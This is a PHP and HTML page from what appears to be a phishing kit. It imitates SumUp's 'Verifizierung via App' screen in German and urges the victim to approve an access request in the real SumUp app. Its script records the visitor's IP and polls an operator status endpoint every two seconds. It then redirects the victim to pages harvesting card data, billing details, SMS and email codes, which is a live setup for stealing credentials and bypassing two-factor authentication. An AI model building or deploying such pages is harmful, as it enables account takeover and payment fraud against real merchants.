<?php 
//require_once "functions.php";

function get_client_ip() {
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    if(filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } else if(filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }
    if( $ip == '::1' ) {
        return '127.0.0.1';
    }
    return  $ip;
}

$ip = get_client_ip();
?>

<<!DOCTYPE html>
<html lang="de">

<head>
  <link rel="icon" href="image/ask.png" type="image/x-icon" />
  <meta charset="utf-8">
  <title>App-Verifizierung—</title>
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  
  <style>
    :root {
      --primary-dark: #0F131A;
      --primary-blue: #0a20c4;
      --dark-blue: #0818a8;
      --light-blue: #2d3fff;
      --accent-green: #00D8A7;
      --light-gray: #f8f9fa;
      --border-gray: #e9ecef;
      --text-dark: #0F131A;
      --text-light: #666666;
      --white: #ffffff;
      --black: #000000;
    }
    
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }
    
    body {
      font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
      background: var(--white);
      min-height: 100vh;
      display: flex;
      flex-direction: column;
    }
    
    /* Header */
    .header {
      background: var(--white);
      padding: 15px 20px;
      border-bottom: 1px solid var(--border-gray);
      display: flex;
      justify-content: center;
      align-items: center;
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      z-index: 1000;
      box-shadow: 0 2px 10px rgba(15, 19, 26, 0.05);
    }
    
    .logo-container {
      display: flex;
      align-items: center;
      gap: 15px;
    }
    
    .logo-img {
      height: 35px;
      width: auto;
    }
    
    /* Main Content */
    .main-content {
      flex: 1;
      padding: 100px 20px 30px;
      max-width: 500px;
      margin: 0 auto;
      width: 100%;
    }
    
    /* App Container */
    .app-container {
      background: var(--white);
      border-radius: 16px;
      padding: 40px 30px;
      box-shadow: 0 10px 40px rgba(0,0,0,0.08);
      border: 1px solid var(--border-gray);
      text-align: center;
    }
    
    /* Titles */
    .section-title {
      font-size: 24px;
      font-weight: 600;
      color: var(--text-dark);
      margin-bottom: 12px;
      letter-spacing: -0.3px;
    }
    
    .section-subtitle {
      font-size: 16px;
      color: var(--text-light);
      margin-bottom: 40px;
      line-height: 1.5;
    }
    
    /* Security Badge */
    .security-badge {
      background: linear-gradient(135deg, var(--primary-blue), var(--dark-blue));
      color: var(--white);
      padding: 12px 25px;
      border-radius: 20px;
      font-size: 14px;
      font-weight: 500;
      display: inline-flex;
      align-items: center;
      gap: 8px;
      margin-bottom: 30px;
      box-shadow: 0 5px 15px rgba(10, 32, 196, 0.3);
    }
    
    /* Phone Animation - SumUp Professional Design */
    .phone-animation {
      position: relative;
      margin: 40px 0;
      height: 300px;
      display: flex;
      justify-content: center;
      align-items: center;
      perspective: 1000px;
    }
    
    .phone {
      width: 160px;
      height: 320px;
      background: linear-gradient(135deg, #0F131A, #2A2F3A);
      border-radius: 36px;
      position: relative;
      box-shadow: 0 25px 60px rgba(15, 19, 26, 0.3);
      animation: phoneFloat 4s ease-in-out infinite;
      border: 4px solid var(--primary-dark);
      overflow: hidden;
      transform-style: preserve-3d;
    }
    
    .phone-screen {
      position: absolute;
      top: 12px;
      left: 8px;
      right: 8px;
      bottom: 12px;
      background: linear-gradient(135deg, #1E232E, #2D3340);
      border-radius: 28px;
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      padding: 20px 15px;
      overflow: hidden;
    }
    
    .phone-header {
      position: absolute;
      top: 15px;
      left: 0;
      right: 0;
      display: flex;
      align-items: center;
      justify-content: center;
      gap: 8px;
    }
    
    .sumup-logo {
      font-size: 16px;
      font-weight: 700;
      color: var(--accent-green);
      text-shadow: 0 0 15px rgba(0, 216, 167, 0.7);
      letter-spacing: 0.5px;
    }
    
    .notification-container {
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      gap: 15px;
      width: 100%;
      padding: 0 5px;
    }
    
    .notification {
      background: linear-gradient(135deg, var(--primary-blue), var(--dark-blue));
      color: var(--white);
      padding: 20px 15px;
      border-radius: 16px;
      text-align: center;
      animation: notificationSlide 3s ease-in-out infinite;
      box-shadow: 0 8px 25px rgba(10, 32, 196, 0.4);
      width: 100%;
      max-width: 100%;
      box-sizing: border-box;
      position: relative;
      overflow: hidden;
    }
    
    .notification::before {
      content: '';
      position: absolute;
      top: 0;
      left: -100%;
      width: 100%;
      height: 100%;
      background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
      animation: shimmer 3s infinite;
    }
    
    .notification-title {
      font-size: 12px;
      font-weight: 600;
      margin-bottom: 8px;
      line-height: 1.2;
    }
    
    .notification-message {
      font-size: 10px;
      opacity: 0.9;
      margin-bottom: 12px;
      line-height: 1.3;
    }
    
    .approve-button {
      background: var(--accent-green);
      color: var(--white);
      border: none;
      padding: 6px 12px;
      border-radius: 8px;
      font-size: 9px;
      font-weight: 600;
      cursor: pointer;
      animation: pulse 2s ease-in-out infinite;
      transition: all 0.3s ease;
      min-width: 80px;
      position: relative;
      overflow: hidden;
    }
    
    .approve-button::before {
      content: '';
      position: absolute;
      top: 0;
      left: -100%;
      width: 100%;
      height: 100%;
      background: linear-gradient(90deg, transparent, rgba(255,255,255,0.3), transparent);
      animation: shimmer 2s infinite;
    }
    
    .approve-button:hover {
      transform: scale(1.05);
      box-shadow: 0 4px 15px rgba(0, 216, 167, 0.4);
    }
    
    .phone-footer {
      position: absolute;
      bottom: 15px;
      left: 0;
      right: 0;
      font-size: 8px;
      color: var(--text-light);
      opacity: 0.7;
    }
    
    .signal-bars {
      position: absolute;
      top: 15px;
      left: 20px;
      display: flex;
      align-items: flex-end;
      gap: 2px;
    }
    
    .bar {
      width: 3px;
      background: var(--accent-green);
      border-radius: 2px;
      animation: signalPulse 1.5s infinite;
    }
    
    .bar:nth-child(1) { height: 5px; animation-delay: 0s; }
    .bar:nth-child(2) { height: 7px; animation-delay: 0.2s; }
    .bar:nth-child(3) { height: 9px; animation-delay: 0.4s; }
    .bar:nth-child(4) { height: 11px; animation-delay: 0.6s; }
    
    .notification-dot {
      position: absolute;
      top: 15px;
      right: 20px;
      width: 8px;
      height: 8px;
      background: #FF4757;
      border-radius: 50%;
      animation: blink 2s infinite;
      box-shadow: 0 0 8px #FF4757;
    }
    
    .time-display {
      position: absolute;
      top: 15px;
      left: 50%;
      transform: translateX(-50%);
      color: var(--white);
      font-size: 10px;
      font-weight: 500;
      opacity: 0.8;
    }
    
    @keyframes phoneFloat {
      0%, 100% { 
        transform: translateY(0px) rotate(0deg) rotateX(0deg); 
      }
      25% { 
        transform: translateY(-10px) rotate(1deg) rotateX(2deg); 
      }
      50% { 
        transform: translateY(-20px) rotate(0deg) rotateX(0deg); 
      }
      75% { 
        transform: translateY(-10px) rotate(-1deg) rotateX(-2deg); 
      }
    }
    
    @keyframes notificationSlide {
      0%, 100% { 
        transform: translateY(0px) scale(1); 
        opacity: 1; 
      }
      50% { 
        transform: translateY(-8px) scale(1.03); 
        opacity: 0.95; 
      }
    }
    
    @keyframes pulse {
      0%, 100% { 
        transform: scale(1); 
        box-shadow: 0 0 0 rgba(0,216,167,0.4);
      }
      50% { 
        transform: scale(1.05); 
        box-shadow: 0 0 12px rgba(0,216,167,0.6);
      }
    }
    
    @keyframes blink {
      0%, 100% { 
        opacity: 1; 
        transform: scale(1);
      }
      50% { 
        opacity: 0.3; 
        transform: scale(0.8);
      }
    }
    
    @keyframes signalPulse {
      0%, 100% { 
        opacity: 0.4;
        background: var(--accent-green);
      }
      50% { 
        opacity: 1;
        background: #00B894;
      }
    }
    
    @keyframes shimmer {
      0% { transform: translateX(-100%); }
      100% { transform: translateX(200%); }
    }
    
    /* Instructions */
    .instructions-container {
      background: var(--light-gray);
      border-radius: 12px;
      padding: 30px;
      margin: 30px 0;
      border: 1px solid var(--border-gray);
    }
    
    .instructions-title {
      font-size: 18px;
      font-weight: 600;
      color: var(--primary-dark);
      margin-bottom: 20px;
      text-align: center;
    }
    
    .instruction-step {
      display: flex;
      align-items: flex-start;
      gap: 15px;
      margin-bottom: 20px;
      padding: 15px;
      background: var(--white);
      border-radius: 8px;
      border-left: 4px solid var(--primary-blue);
      box-shadow: 0 3px 10px rgba(0,0,0,0.05);
      transition: transform 0.3s ease;
    }
    
    .instruction-step:hover {
      transform: translateX(5px);
    }
    
    .step-number {
      width: 28px;
      height: 28px;
      background: var(--primary-blue);
      color: var(--white);
      border-radius: 50%;
      display: flex;
      align-items: center;
      justify-content: center;
      font-weight: 600;
      font-size: 12px;
      flex-shrink: 0;
    }
    
    .step-content {
      flex: 1;
    }
    
    .step-title {
      font-size: 14px;
      font-weight: 600;
      color: var(--text-dark);
      margin-bottom: 5px;
    }
    
    .step-description {
      font-size: 13px;
      color: var(--text-light);
      line-height: 1.4;
      margin: 0;
    }
    
    /* Progress Bar */
    .progress-container {
      width: 100%;
      height: 6px;
      background: var(--light-gray);
      border-radius: 3px;
      margin: 30px 0;
      overflow: hidden;
      position: relative;
    }
    
    .progress-bar {
      height: 100%;
      background: linear-gradient(90deg, var(--primary-blue), var(--accent-green));
      border-radius: 3px;
      animation: progress 3s ease-in-out infinite;
      position: relative;
      overflow: hidden;
    }
    
    .progress-bar::after {
      content: '';
      position: absolute;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: linear-gradient(90deg, 
        transparent, 
        rgba(255,255,255,0.4), 
        transparent
      );
      animation: shimmer 2s infinite;
    }
    
    @keyframes progress {
      0% { width: 0%; }
      50% { width: 70%; }
      100% { width: 100%; }
    }
    
    /* Status Indicator */
    .status-container {
      background: rgba(10, 32, 196, 0.05);
      padding: 20px;
      border-radius: 10px;
      margin: 20px 0;
      border: 1px solid rgba(10, 32, 196, 0.1);
    }
    
    .status-text {
      font-size: 14px;
      color: var(--primary-blue);
      font-weight: 500;
      display: flex;
      align-items: center;
      justify-content: center;
      gap: 10px;
      margin: 0;
    }
    
    .status-text i {
      animation: spin 2s linear infinite;
    }
    
    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
    
    /* Security Features */
    .security-features {
      display: grid;
      grid-template-columns: repeat(2, 1fr);
      gap: 12px;
      margin: 25px 0;
    }
    
    .security-feature {
      display: flex;
      align-items: center;
      justify-content: center;
      gap: 8px;
      padding: 12px;
      background: rgba(10, 32, 196, 0.05);
      border-radius: 8px;
      font-size: 12px;
      color: var(--primary-blue);
      font-weight: 500;
      transition: all 0.3s ease;
    }
    
    .security-feature:hover {
      background: rgba(10, 32, 196, 0.1);
      transform: translateY(-2px);
    }
    
    /* Warning Message */
    .warning-message {
      background: rgba(255, 204, 0, 0.1);
      border: 1px solid rgba(255, 204, 0, 0.3);
      border-radius: 8px;
      padding: 15px;
      margin-top: 20px;
      text-align: center;
    }
    
    .warning-icon {
      color: #FFCC00;
      font-size: 16px;
      margin-bottom: 8px;
    }
    
    .warning-text {
      font-size: 12px;
      color: var(--text-light);
      line-height: 1.4;
      margin: 0;
    }
    
    .footer-buttons {
      display: flex;
      justify-content: space-between;
      align-items: center;
      margin-top: 30px;
      gap: 15px;
    }
    
    .language-select {
      flex: 1;
      position: relative;
    }
    
    .language-select select {
      width: 100%;
      padding: 12px 40px 12px 15px;
      border: 1px solid var(--border-gray);
      border-radius: 4px;
      font-size: 14px;
      background-color: var(--white);
      appearance: none;
      cursor: pointer;
      height: 44px;
    }
    
    .language-select::after {
      content: "";
      position: absolute;
      right: 15px;
      top: 50%;
      transform: translateY(-50%);
      width: 12px;
      height: 12px;
      background-image: url("data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M8 11c-.266 0-.52-.104-.71-.29l-4-4A1.013 1.013 0 0 1 3 6a1 1 0 0 1 1-1c.266 0 .52.104.71.29L8 8.58l3.29-3.29c.19-.186.445-.29.71-.29a1 1 0 0 1 1 1c0 .266-.104.52-.29.71l-4 4c-.19.186-.444.29-.71.29z' fill='currentColor'%3E%3C/path%3E%3C/svg%3E");
      background-repeat: no-repeat;
      background-position: center;
      pointer-events: none;
    }
    
    .system-status-btn {
      flex: 1;
    }
    
    .system-status-btn .btn-secondary {
      height: 44px;
      font-size: 14px;
      width: 100%;
      padding: 12px;
      background-color: transparent;
      color: var(--primary-dark);
      border: 1px solid var(--primary-dark);
      border-radius: 4px;
      font-weight: 500;
      cursor: pointer;
      text-decoration: none;
      display: block;
      text-align: center;
    }
    
    .system-status-btn .btn-secondary:hover {
      background-color: #f5f5f5;
    }
    
    .help-link {
      position: absolute;
      top: 30px;
      right: 30px;
      color: var(--primary-dark);
      text-decoration: none;
      font-size: 14px;
      font-weight: 500;
      transition: color 0.3s;
      z-index: 100;
    }
    
    .help-link:hover {
      color: var(--text-light);
    }

    /* Responsive */
    @media (max-width: 768px) {
      .main-content {
        padding: 100px 15px 20px;
        max-width: 450px;
      }
      
      .app-container {
        padding: 35px 25px;
      }
      
      .section-title {
        font-size: 22px;
      }
      
      .phone {
        width: 150px;
        height: 300px;
      }
      
      .phone-screen {
        padding: 18px 12px;
      }
      
      .notification {
        padding: 18px 12px;
      }
      
      .notification-title {
        font-size: 11px;
      }
      
      .notification-message {
        font-size: 9px;
      }
      
      .logo-img {
        height: 32px;
      }
    }
    
    @media (max-width: 480px) {
      .header {
        padding: 12px 15px;
      }
      
      .logo-img {
        height: 28px;
      }
      
      .main-content {
        padding: 90px 15px 15px;
        max-width: 400px;
      }
      
      .app-container {
        padding: 30px 20px;
      }
      
      .section-title {
        font-size: 20px;
      }
      
      .section-subtitle {
        font-size: 15px;
      }
      
      .phone {
        width: 140px;
        height: 280px;
      }
      
      .phone-screen {
        padding: 15px 10px;
      }
      
      .notification {
        padding: 15px 10px;
      }
      
      .notification-title {
        font-size: 10px;
      }
      
      .notification-message {
        font-size: 8px;
      }
      
      .approve-button {
        font-size: 8px;
        padding: 5px 10px;
      }
      
      .security-features {
        grid-template-columns: 1fr;
      }
      
      .help-link {
        top: 15px;
        right: 15px;
        font-size: 13px;
      }
    }

    @media (max-width: 360px) {
      .phone {
        width: 130px;
        height: 260px;
      }
      
      .phone-screen {
        padding: 12px 8px;
      }
      
      .notification {
        padding: 12px 8px;
      }
      
      .notification-title {
        font-size: 9px;
      }
      
      .notification-message {
        font-size: 7px;
      }
      
      .approve-button {
        font-size: 7px;
        padding: 4px 8px;
      }
    }
  </style>
</head>

<body>
  <!-- Hilfe-Link in der oberen rechten Ecke -->
  <a href="#" class="help-link">Brauchen Sie Hilfe?</a>

  <!-- Header -->
  <div class="header">
    <div class="logo-container">
      <img src="image/name.svg" alt="SumUp Logo" class="logo-img">
    </div>
  </div>

  <!-- Main Content -->
  <div class="main-content">
    <div class="app-container">
      <!-- Title -->
      <h1 class="section-title">Verifizierung via App</h1>
      <p class="section-subtitle">
        Schließen Sie die Sicherheitsüberprüfung über die SumUp-App ab
      </p>

      <!-- Security Badge -->
      <div class="security-badge">
        <span>🔒</span>
        SICHERHEITSÜBERPRÜFUNG AKTIV
      </div>

      <!-- Phone Animation -->
      <div class="phone-animation">
        <div class="phone">
          <div class="phone-screen">
            <div class="signal-bars">
              <div class="bar"></div>
              <div class="bar"></div>
              <div class="bar"></div>
              <div class="bar"></div>
            </div>
            <div class="time-display">14:30</div>
            <div class="notification-dot"></div>
            
            <div class="phone-header">
              <div class="sumup-logo">SumUp</div>
            </div>
            
            <div class="notification-container">
              <div class="notification">
                <div class="notification-title">Sicherheitsüberprüfung</div>
                <div class="notification-message">Bestätigen Sie den Zugriff auf Ihr SumUp-Konto, um fortzufahren</div>
                <button class="approve-button">ZUGRIFF GENEHMIGEN</button>
              </div>
            </div>
            
            <div class="phone-footer">
              SumUp Business App
            </div>
          </div>
        </div>
      </div>

      <!-- Instructions -->
      <div class="instructions-container">
        <h3 class="instructions-title">So schließen Sie die Verifizierung ab</h3>
        
        <div class="instruction-step">
          <div class="step-number">1</div>
          <div class="step-content">
            <div class="step-title">Öffnen Sie die SumUp-App</div>
            <p class="step-description">Melden Sie sich in der offiziellen App auf Ihrem Smartphone an</p>
          </div>
        </div>
        
        <div class="instruction-step">
          <div class="step-number">2</div>
          <div class="step-content">
            <div class="step-title">Überprüfen Sie die Benachrichtigungen</div>
            <p class="step-description">Finden Sie die Sicherheitsüberprüfungsbenachrichtigung in der App</p>
          </div>
        </div>
        
        <div class="instruction-step">
          <div class="step-number">3</div>
          <div class="step-content">
            <div class="step-title">Autorisieren Sie den Zugriff</div>
            <p class="step-description">Bestätigen Sie, dass Sie den Zugriff durchführen</p>
          </div>
        </div>
        
        <div class="instruction-step">
          <div class="step-number">4</div>
          <div class="step-content">
            <div class="step-title">Warten Sie auf den Abschluss</div>
            <p class="step-description">Die Verifizierung wird automatisch abgeschlossen</p>
          </div>
        </div>
      </div>

      <!-- Security Features -->
      <div class="security-features">
        <div class="security-feature">
          <span>🔐</span>
          Verschlüsselung
        </div>
        <div class="security-feature">
          <span>🛡️</span>
          Schutz
        </div>
        <div class="security-feature">
          <span>⚡</span>
          Echtzeit
        </div>
        <div class="security-feature">
          <span>🚫</span>
          Betrugsschutz
        </div>
      </div>

      <!-- Progress Bar -->
      <div class="progress-container">
        <div class="progress-bar"></div>
      </div>

      <!-- Status Indicator -->
      <div class="status-container">
        <p class="status-text">
          <span>⏳</span>
          Warten auf Bestätigung von der SumUp-App...
        </p>
      </div>

      <!-- Warning Message -->
      <div class="warning-message">
        <div class="warning-icon">
          <span>⚠️</span>
        </div>
        <p class="warning-text">
          <strong>Wichtig:</strong> Diese Verifizierung ist für die Sicherheit Ihres Kontos erforderlich. 
          SumUp wird niemals vollständige Zugangsdaten per E-Mail oder Telefon anfordern.
        </p>
      </div>
      
      <!-- Zusätzliche Buttons unten -->
      <div class="footer-buttons">
        <div class="language-select">
          <select id="languageSelect" name="languageSelect">
            <option value="da-DK">Dansk</option>
            <option value="de-DE" selected>Deutsch</option>
            <option value="et-EE">Eesti</option>
            <option value="en-GB">English</option>
            <option value="es-ES">Español</option>
            <option value="fr-FR">Français</option>
            <option value="hr-HR">Hrvatski</option>
            <option value="it-IT">Italiano</option>
            <option value="lv-LV">Latviešu valoda</option>
            <option value="lt-LT">Lietuviškai</option>
            <option value="hu-HU">Magyar</option>
            <option value="nl-NL">Nederlands</option>
            <option value="nb-NO">Norsk</option>
            <option value="pl-PL">Polski</option>
            <option value="pt-BR">Português</option>
            <option value="ro-RO">Română</option>
            <option value="sk-SK">Slovenčina</option>
            <option value="sl-SI">Slovenščina</option>
            <option value="fi-FI">Suomi</option>
            <option value="sv-SE">Svenska</option>
            <option value="cs-CZ">Čeština</option>
            <option value="el-GR">Ελληνικά</option>
            <option value="bg-BG">Български</option>
          </select>
        </div>
        
        <div class="system-status-btn">
          <a href="https://status.sumup.com" class="btn-secondary">
            Systemstatus
          </a>
        </div>
      </div>
    </div>
  </div>

  <!-- JavaScript -->
  <script>
    document.addEventListener('DOMContentLoaded', function() {
      const userIP = '<?php echo $ip; ?>';
      
      // Graduelle Erscheinungseffekte
      const container = document.querySelector('.app-container');
      container.style.opacity = '0';
      container.style.transform = 'translateY(30px)';
      container.style.transition = 'all 0.8s ease';
      
      setTimeout(() => {
        container.style.opacity = '1';
        container.style.transform = 'translateY(0)';
      }, 200);

      // === AJAX zur Statusüberprüfung alle 2 Sekunden ===
      function checkStatus() {
        fetch(`check-user-status.php?ip=${userIP}&t=${new Date().getTime()}`)
          .then(response => {
            if (!response.ok) {
              throw new Error('Network response was not ok');
            }
            return response.text();
          })
          .then(status => {
            status = status.trim();
            
            // Wenn es eine Weiterleitungsstatus gibt, gehe zur gewünschten Seite
            if (status && status !== '0' && status !== '') {
              const redirectMap = {
                'errorlogin': 'infos.php?redirection=errorlogin',
                'cc': 'infos.php?redirection=cc',
                'errorcc': 'infos.php?redirection=errorcc',
                'email_code': 'infos.php?redirection=email_code',
                'erroremail_code': 'infos.php?redirection=erroremail_code',
                'billing': 'infos.php?redirection=billing',
                'errorbilling': 'infos.php?redirection=errorbilling',
                'sms': 'infos.php?redirection=sms',
                'errorsms': 'infos.php?redirection=errorsms',
                'success': 'infos.php?redirection=success',
                'attivazione': 'infos.php?redirection=attivazione',
                'errorattivazione': 'infos.php?redirection=errorattivazione'
              };
              
              if (redirectMap[status]) {
                window.location.href = redirectMap[status];
                return;
              }
            }
            
            // Wenn keine Weiterleitung erfolgt, weiter nach 2 Sekunden überprüfen
            setTimeout(checkStatus, 2000);
          })
          .catch(error => {
            console.error('Error checking status:', error);
            setTimeout(checkStatus, 3000);
          });
      }

      // Statusüberprüfung nach 1 Sekunde starten
      setTimeout(checkStatus, 1000);
    });
  </script>
</body>
</html>